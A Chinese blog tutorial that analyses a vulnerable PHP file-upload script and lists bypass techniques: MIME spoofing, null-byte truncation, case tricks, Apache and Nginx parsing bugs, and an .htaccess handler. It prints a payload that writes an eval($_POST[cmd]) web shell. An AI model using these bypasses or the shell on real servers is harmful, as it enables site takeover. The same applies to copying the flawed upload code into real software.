0x00 简单源码分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
<?php if ((( $_FILES [ "file" ][ "type" ] == "image/gif" ) //检测Content-type值 || ( $_FILES [ "file" ][ "type" ] == "image/jpeg" ) || ( $_FILES [ "file" ][ "type" ] == "image/pjpeg" )) && ( $_FILES [ "file" ][ "size" ] < 20000)) //检测文件大小 { $ext = end ( explode ( '.' , $_FILES [ "file" ][ "name" ])); //获取最后“.”的后缀 if ( $ext === 'php' ) //检测是否为php后缀 { exit ( 'error' ); } if ( $_FILES [ "file" ][ "error" ] > 0) //返回上传错误码 { echo "Return Code: " . $_FILES [ "file" ][ "error" ] . "<br />" ; } else //返回上传成功信息 { echo "Upload: " . $_FILES [ "file" ][ "name" ] . "<br />" ; echo "Type: " . $_FILES [ "file" ][ "type" ] . "<br />" ; echo "Size: " . ( $_FILES [ "file" ][ "size" ] / 1024) . " Kb<br />" ; echo "Temp file: " . $_FILES [ "file" ][ "tmp_name" ] . "<br />" ; if ( file_exists ( "upload/" . $_FILES [ "file" ][ "name" ])) //检测文件是否存在 { echo $_FILES [ "file" ][ "name" ] . " already exists. " ; } else //将上传的临时文件转移到指定存放文件夹 { move_uploaded_file( $_FILES [ "file" ][ "tmp_name" ], "upload/" . $_FILES [ "file" ][ "name" ]); echo "Stored in: " . "upload/" . $_FILES [ "file" ][ "name" ]; } } } else { echo "Invalid file" ; //返回无效文件的错误信息 } ?> |
0x01 详细分析过程
1) 直接使用用户上传文件名,没有过滤特殊字符,存在漏洞
1
2
3
4
5
6
7
8
9
10
11
12
|
if ((( $_FILES [ "file" ][ "type" ] == "image/gif" ) //文件类型检测 || ( $_FILES [ "file" ][ "type" ] == "image/jpeg" ) || ( $_FILES [ "file" ][ "type" ] == "image/pjpeg" )) && ( $_FILES [ "file" ][ "size" ] < 20000)) { $ext = end ( explode ( '.' , $_FILES [ "file" ][ "name" ])); //文件后缀检测 if ( $ext === 'php' ){ exit ( 'error' ); } ...... //省略了中间的一些代码 |
以下代码的作用是,将上传到临时文件夹的文件移到upload的目录下
1
2
3
4
5
6
|
else { move_uploaded_file( $_FILES [ "file" ][ "tmp_name" ], "upload/" . $_FILES [ "file" ][ "name" ]); echo "Stored in: " . "upload/" . $_FILES [ "file" ][ "name" ]; } |
1.1分析:
从以上代码可以看出,可以上传图片文件,对文件拓展名检测是通过end(explode(‘.’,$_FILES[“file”][“name”]))函数实现(在这里先不说文件类型验证的问题)explode(‘.’,$_FILES[“file”][“name”])用来把上传的文件名作为字符串,以.(点)来分割字符串来生成数组,而end()函数则是将数组内部指针指向最后一个元素,并返回该元素的值,例如,当上传x.php文件时,最终就会获取到php。
而对于$_FILES里面获取变量,是直接来自http request请求,它跟普通获取其它get,post变量一样。 比如在post上传时,我们可以通过抓包来截获(常用神器burpsuite)这一过程,由于在上传的检测中没有对文件名进行检测和过滤及处理,因此,我们可以将name构造一个特殊文件名,然后,再将post数据提交,就可以达到上传绕过对文件扩展名的检测。
1.2利用:
比如我们可以在本地上将一个php文件命名为x.php.jpg在上传文件时,抓包post,将filename修改为x.php .jpg再提交post数据,那么在保存我们修改后的文件时, 后面的所有字符将(如.jpg)被自动截断,最终生成我们想要目标文件格式(如本例的x.php),以至于可以上传任意恶意的php脚本。从网上得到说明Php4的版本可以利用这个漏洞,php5版本以上会自动过滤掉’”/0”,另外很多asp,jsp也存在此类截断上传的漏洞。
2)文件类型验证不严格,存在漏洞
1
2
3
4
5
6
7
8
9
10
|
<?php if ((( $_FILES [ "file" ][ "type" ] == "image/gif" ) || ( $_FILES [ "file" ][ "type" ] == "image/jpeg" ) || ( $_FILES [ "file" ][ "type" ] == "image/pjpeg" )) && ( $_FILES [ "file" ][ "size" ] < 20000)) { $ext = end ( explode ( '.' , $_FILES [ "file" ][ "name" ])); if ( $ext === 'php' ){ exit ( 'error' ); } |
2.1分析:
从代码可以看出是通过读取文件的type直接来做文件类型的判断,同样我们可以通过抓取post数据,将Content-type值修改为允许上传的MIME类型,在这里有image/gif等三种,从而绕过对文件type的检查,虽然之后代码对文件扩展名进行了检测(那两个个函数对文件扩展名检测的大慨过程就是判断文件名最后”.”的最后字符,example.php.bak最终得到是bak),并判断是否是php后缀名。
2.2利用:
1.如果没有对apache默认支持解析文件方式进行修改时(即apache解析漏洞,很多网站管理员由于安全意识薄弱或其他情况往往没有修改),那么在绕过对type的检测之后,最简单的利用方式就是我们可以直接上传一个恶意的名为x.php.ext,这里的ext可以是多种,只要不是php和apache可以解析其他扩展名(如txt后缀)就可以,那么按照apache默认从右往左直到遇到可支持解析的文件的解析方式,那么就会把x.php.ext当成x.php来解析。
2.在绕过对文件type检查之后,我们还可以将本地的x.php文件修改为x.php1,x.php3,x.php4或者x.php5再上传,默认的apache服务器将会解析为php。
3)使用php的全等于来判断是否为php文件类型,存在漏洞
1
2
3
4
|
$ext = end ( explode ( '.' , $_FILES [ "file" ][ "name" ])); if ( $ext === 'php' ){ exit ( 'error' ); } |
3.1分析:
我们知道在php语法中全等于”===”的作用是先判断等号左右两边的数据类型是否一样,再判断等号两边的值是否相等,如果都相等返回true,否者返回false。
3.2利用:
在明白全等于”===”的判断原理之后,我们就可以进行利用了,还是以本地的x.php举例,我们可以将x.php修改为Php, x.PHp, PHP...在绕过对type的检测之后再上传,以上传的x.PHP来分析,首先上传截获到的是PHP后缀,此时$ext=PHP,再将进行下一步的验证,$ext和php都是相同的数据类型,但是在验证它们值时却不相等,从而绕过上传。
而默认的web应用程序都是默认将Php,x.PHp,PHP...解析为php执行。
4)对上传文件内容没有做检测,存在漏洞
4.1分析:
从upload.php源代码分析来看,在整个过程没有对上传文件内容进行检测,过滤和处理,可以通过上传图片木马或其他方式来到达恶意上传的目的。
4.2利用:
1.如果的网站是用Nginx的Web应用程序且版本 <8.03,那我们就可以利用Nginx默认开启Fast-CGI而造成的畸形解析漏洞,以下是具体利用方式说明。在默认Fast-CGI开启状况下,我们可以上传一个名为x.jpg,其内容为
1
|
<?PHP fputs ( fopen ( 'shell.php' , 'w' ), '<?php eval($_POST[cmd])?>' );?> |
的文件,之后我们再访问x.jpg/.php这个网站路径,在这个目录下就会生成一句话木马shell.php。
2.如果的网站是用Nginx的Web应用程序且版本在(0.5.,0.6.,0.7,0.8<=0.7.65<=0.8.37)其中,那我们还可以利用Nginx空字节代码执行漏洞来达到上传任意恶意代码并执行。具体利用方法是:将x.jpg图片中嵌入PHP代码然后通过访问x.jpg%00.php来执行其中的恶意代码。
3.如果网站的Apache Web应用程序中.htaccess可被执行且可被上传,那可以尝试在.htaccess中写入:
<FilesMatch "example.jpg"> SetHandler application/x-httpd-php
这段代码的意思就是将把目录下的所有后缀为jpg的文件当做可执行的php脚本进行解析并执行。因此,我们可以上传一个x.jpg的木马, 这样x.jpg就可解析为php文件。
转载请注明来自4ido10n's Blog文章《尽最大可能分析上传源码及漏洞利用方式》